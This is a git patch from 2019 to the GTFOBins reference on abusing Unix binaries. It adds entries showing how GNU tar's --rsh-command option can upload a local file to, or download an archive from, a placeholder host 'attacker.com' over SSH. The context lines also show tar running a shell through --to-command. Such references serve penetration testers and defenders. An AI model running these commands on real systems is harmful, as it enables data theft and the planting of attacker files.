From 3a0179306cd2a7481f5e722deb8096a72b098e8e Mon Sep 17 00:00:00 2001 From: Roman Mueller Date: Tue, 1 Oct 2019 13:16:50 +0200 Subject: [PATCH] Add file-download and file-upload to tar --- _gtfobins/tar.md | 15 +++++++++++++++ 1 file changed, 15 insertions(+) diff --git a/_gtfobins/tar.md b/_gtfobins/tar.md index de21930..1c42191 100644 --- a/_gtfobins/tar.md +++ b/_gtfobins/tar.md @@ -11,6 +11,21 @@ functions: tar cf "$TF.tar" "$TF" tar xf "$TF.tar" --to-command sh rm "$TF"* + file-upload: + - description: This only works for GNU tar. Create tar archive and send it via SSH to a remote location. The attacker box must have the `rmt` utility installed (it should be present by default in Debian-like distributions). + code: | + export RHOST=attacker.com + export RUSER=root + export RFILE=/tmp/file_to_send.tar + export LFILE=file_to_send + tar cvf $RUSER@$RHOST:$RFILE $LFILE --rsh-command=/bin/ssh + file-download: + - description: This only works for GNU tar. Download and extract a tar archive via SSH. The attacker box must have the `rmt` utility installed (it should be present by default in Debian-like distributions). + code: | + export RHOST=attacker.com + export RUSER=root + export RFILE=/tmp/file_to_get.tar + tar xvf $RUSER@$RHOST:$RFILE --rsh-command=/bin/ssh file-write: - description: This only works for GNU tar. code: |